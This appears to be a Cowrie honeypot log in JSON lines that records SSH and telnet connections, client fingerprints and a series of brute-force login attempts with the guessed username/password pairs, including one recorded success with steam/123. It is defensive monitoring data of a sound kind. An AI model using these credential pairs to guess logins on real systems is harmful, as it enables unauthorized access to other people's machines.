{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:13.371578Z","src_ip":"95.38.165.118","session":"c6b5d0b6d8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:15.280219Z","src_ip":"95.38.165.118","session":"c6b5d0b6d8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:16.451792Z","src_ip":"95.38.165.118","session":"c6b5d0b6d8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":46644,"dst_ip":"10.17.0.5","dst_port":23,"session":"936f2c6cb893","protocol":"telnet","message":"New connection: 178.128.93.180:46644 (10.17.0.5:23) [session: 936f2c6cb893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:16.548646Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42202,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f1a5b12f469","protocol":"ssh","message":"New connection: 95.38.165.118:42202 (10.17.0.5:22) [session: 2f1a5b12f469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:18.488587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:18.493309Z","src_ip":"95.38.165.118","session":"2f1a5b12f469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":59598,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b3f576a543","protocol":"telnet","message":"New connection: 79.139.59.21:59598 (159.203.135.109:23) [session: d4b3f576a543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:19.139987Z"}
{"eventid":"cowrie.session.closed","duration":33.52140474319458,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:19.158472Z","src_ip":"69.4.83.194","session":"059c0b6da25c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:19.217416Z","src_ip":"95.38.165.118","session":"2f1a5b12f469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":56946,"dst_ip":"159.203.135.109","dst_port":22,"session":"419787d3e9f4","protocol":"ssh","message":"New connection: 43.245.97.82:56946 (159.203.135.109:22) [session: 419787d3e9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:19.465769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:19.470419Z","src_ip":"43.245.97.82","session":"419787d3e9f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:19.709825Z","src_ip":"43.245.97.82","session":"419787d3e9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00153398513794,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:19.738681Z","src_ip":"89.99.30.209","session":"543deb3e7dfc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:20.676618Z","src_ip":"95.38.165.118","session":"2f1a5b12f469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"root","message":"login attempt [frappe/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:20.686019Z","src_ip":"43.245.97.82","session":"419787d3e9f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:21.852796Z","src_ip":"95.38.165.118","session":"2f1a5b12f469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:21.924815Z","src_ip":"43.245.97.82","session":"419787d3e9f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42216,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5e6d881b8d1","protocol":"ssh","message":"New connection: 95.38.165.118:42216 (10.17.0.5:22) [session: c5e6d881b8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:23.757591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:23.762818Z","src_ip":"95.38.165.118","session":"c5e6d881b8d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:24.070215Z","src_ip":"95.38.165.118","session":"c5e6d881b8d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162529945374,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:25.440700Z","src_ip":"89.99.30.209","session":"6d3faee1ce54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.99.30.209","src_port":46994,"dst_ip":"159.203.135.109","dst_port":23,"session":"1630285c2e41","protocol":"telnet","message":"New connection: 89.99.30.209:46994 (159.203.135.109:23) [session: 1630285c2e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:26.659940Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:26.872591Z","src_ip":"95.38.165.118","session":"c5e6d881b8d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:28.042013Z","src_ip":"95.38.165.118","session":"c5e6d881b8d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52608,"dst_ip":"10.17.0.5","dst_port":22,"session":"0861b63af099","protocol":"ssh","message":"New connection: 95.38.165.118:52608 (10.17.0.5:22) [session: 0861b63af099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:29.533054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:29.648201Z","src_ip":"95.38.165.118","session":"0861b63af099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:29.764375Z","src_ip":"95.38.165.118","session":"0861b63af099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:30.505317Z","src_ip":"95.38.165.118","session":"0861b63af099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:32.094895Z","src_ip":"95.38.165.118","session":"0861b63af099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52618,"dst_ip":"10.17.0.5","dst_port":22,"session":"193c4a766e69","protocol":"ssh","message":"New connection: 95.38.165.118:52618 (10.17.0.5:22) [session: 193c4a766e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:35.777438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:35.782429Z","src_ip":"95.38.165.118","session":"193c4a766e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:35.952377Z","src_ip":"95.38.165.118","session":"193c4a766e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":35096,"dst_ip":"159.203.135.109","dst_port":23,"session":"514bae0a2f6e","protocol":"telnet","message":"New connection: 165.22.57.101:35096 (159.203.135.109:23) [session: 514bae0a2f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:40.315178Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40746,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc7bfa51e5d","protocol":"ssh","message":"New connection: 95.38.165.118:40746 (10.17.0.5:22) [session: 3bc7bfa51e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:41.544358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:41.548426Z","src_ip":"95.38.165.118","session":"3bc7bfa51e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:41.722506Z","src_ip":"95.38.165.118","session":"3bc7bfa51e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:42.303635Z","src_ip":"95.38.165.118","session":"193c4a766e69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:42.710325Z","src_ip":"95.38.165.118","session":"3bc7bfa51e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:43.544185Z","src_ip":"95.38.165.118","session":"193c4a766e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40748,"dst_ip":"10.17.0.5","dst_port":22,"session":"de273ea4f413","protocol":"ssh","message":"New connection: 95.38.165.118:40748 (10.17.0.5:22) [session: de273ea4f413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:45.693594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:45.701960Z","src_ip":"95.38.165.118","session":"de273ea4f413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:45.874604Z","src_ip":"95.38.165.118","session":"de273ea4f413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:46.456842Z","src_ip":"95.38.165.118","session":"de273ea4f413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:47.726591Z","src_ip":"95.38.165.118","session":"de273ea4f413","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:59:47.975512Z","src_ip":"95.38.165.118","session":"3bc7bfa51e5d","protocol":"ssh"}
